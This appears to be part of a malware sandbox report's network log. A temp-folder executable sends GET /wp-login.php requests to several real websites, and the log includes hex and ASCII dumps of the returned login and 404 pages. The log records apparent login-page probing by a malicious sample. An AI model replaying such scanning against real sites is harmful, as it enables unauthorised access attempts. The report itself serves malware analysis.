2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javasc
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 72 79 3a 22 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 35 32 33 61 36 61 33 36 34 64 32 64 34 36 35 34 37 62 37 63 33 38 36 63 32 33 37 65 32 33 37 65 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 53 74 72 75 63 74 75 72 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c Data Ascii: ry:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"523a6a364d2d46547b7c386c237e237e",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_defaul
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 76 65 6e 64 6f 72 2f 63 6f 64 65 6d 69 72 72 6f 72 2f 6c Data Ascii: ', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js', 1) .add('vendor/codemirror/l
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 0a 0a 20 20 0a 20 20 0a 20 20 0a 20 20 0a 0a 20 20 3c Data Ascii: AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_header"></div> <
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 61 62 6c 65 22 20 76 61 6c 75 65 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 35 32 33 61 36 61 33 36 34 64 32 64 34 36 35 34 37 62 37 63 33 38 36 63 32 33 37 65 32 33 37 65 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 Data Ascii: dden" name="table" value=""><input type="hidden" name="token" value="523a6a364d2d46547b7c386c237e237e"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	58823	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	178	OUT	GET /wp-login.php HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	1357	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:ed09ee431292ccd6baa62849423293fc" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:28 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:28 GMT; SameSite=Lax Set-Cookie: _shopify_y=a1f3d777-d0d7-45a3-9f28-e46fe503080f; Expires=Thu, 19-Dec-24 02:13:28 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=f161387b-9bb4-4f0f-9b48-124cdd02b0d8; Expires=Wed, 20-Dec-23 02:43:28 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en-US powered-by: Shopify
2023-12-20 02:13:28 UTC	928	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 34 2c 20 64 62 3b 64 75 72 3d 35 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 35 77 74 37 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 37 37 66 65 30 38 65 30 2d 35 38 63 33 2d 34 65 65 36 2d 38 62 34 31 2d 36 37 65 34 35 64 31 61 66 65 33 34 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=14, db;dur=5, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="5wt7", requestID;desc="77fe08e0-58c3-4ee6-8b41-67e45d1afe34"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 31 34 62 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 14b7<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
2023-12-20 02:13:28 UTC	1204	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 36 35 38 66 0d 0a 70 70 6c 65 2d 70 61 79 2d 73 68 6f 70 2d 63 61 70 61 62 69 6c 69 74 69 65 73 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 73 68 6f 70 49 64 22 3a 31 35 38 34 35 34 34 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 6d 65 72 63 68 61 6e 74 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 73 75 70 70 6f 72 74 73 33 44 53 22 5d 2c 22 6d 65 72 63 68 61 6e 74 49 64 22 3a 22 67 69 64 3a 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 Data Ascii: 658fpple-pay-shop-capabilities" type="application/json">{"shopId":1584544,"countryCode":"US","currencyCode":"USD","merchantCapabilities":["supports3DS"],"merchantId":"gid:\/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContact
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 63 6f 75 6e 74 72 79 20 3d 20 22 55 53 22 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 20 3d 20 7b 22 6e 61 6d 65 22 3a 22 42 72 6f 6f 6b 6c 79 6e 22 2c 22 69 64 22 3a 38 34 30 39 31 37 39 37 35 39 30 2c 22 74 68 65 6d 65 5f 73 74 6f 72 65 5f 69 64 22 3a 37 33 30 2c 22 72 6f 6c 65 22 3a 22 6d 61 69 6e 22 7d 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 2e 68 61 6e 64 6c 65 20 3d 20 22 6e 75 6c 6c 22 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 2e 73 74 79 6c 65 20 3d 20 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 68 61 6e 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 Data Ascii: country = "US";Shopify.theme = {"name":"Brooklyn","id":84091797590,"theme_store_id":730,"role":"main"};Shopify.theme.handle = "null";Shopify.theme.style = {"id":null,"handle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.rou
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 69 6e 69 74 2d 73 68 6f 70 2d 66 6f 72 2d 6e 65 77 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 73 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 69 6e 69 74 2d 73 68 6f 70 2d 66 6f 72 2d 6e 65 77 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 73 5f 63 64 63 31 65 30 31 34 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e Data Ascii: mmon_aa18f3d8.esm.js"],"init-shop-for-new-customer-accounts":["modules/client.init-shop-for-new-customer-accounts_cdc1e014.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 3d 31 5c 75 30 30 32 36 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 22 2c 22 5c 2f 5c 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 2f 70 72 6f 78 79 5c 2f 66 35 61 66 35 62 62 62 37 32 34 32 61 30 33 30 31 62 63 39 61 63 30 37 37 65 35 33 38 33 34 64 63 37 63 31 39 35 33 61 36 33 63 64 38 33 37 66 65 36 35 37 64 33 32 37 37 38 61 65 63 30 64 66 5c 2f 62 69 6e 67 73 68 6f 70 70 69 6e 67 74 6f 6f 6c 2d 74 32 61 70 70 2d 70 72 6f 64 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 Data Ascii: =1\u0026shop=artusopastry.myshopify.com","\/\/cdn.shopify.com\/proxy\/f5af5bbb7242a0301bc9ac077e53834dc7c1953a63cd837fe657d32778aec0df\/bingshoppingtool-t2app-prod.trafficmanager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-cont
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 5f 6c 6f 67 69 6e 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 61 63 63 6f 75 6e 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 72 65 63 6f 76 65 72 5f 63 75 73 74 6f 6d 65 72 5f 70 61 73 73 77 6f 72 64 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 61 63 63 6f 75 6e 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 72 65 61 74 65 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d Data Ascii: alue="customer_login"]','form[action="/account"] input[name="form_type"][value="recover_customer_password"]','form[action="/account"] input[name="form_type"][value="create_customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]']

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	58782	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	333	OUT	GET /wp-login.php HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bjDi9EeAXjZtU52Krw0ZnzeDhani46p/s4nsTzSEOHBK3HLwQBUNxuMePqzOq5AaWqcUKatUYKqSHJHGa9V2qQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:28 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	58858	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	374	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:28 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:28 UTC	7818	IN	Data Raw: 31 66 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 Data Ascii: 1f0d<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Two Hills Studio — WordPress</title><script type="text/javascript">function theChampLoadEvent(e){var
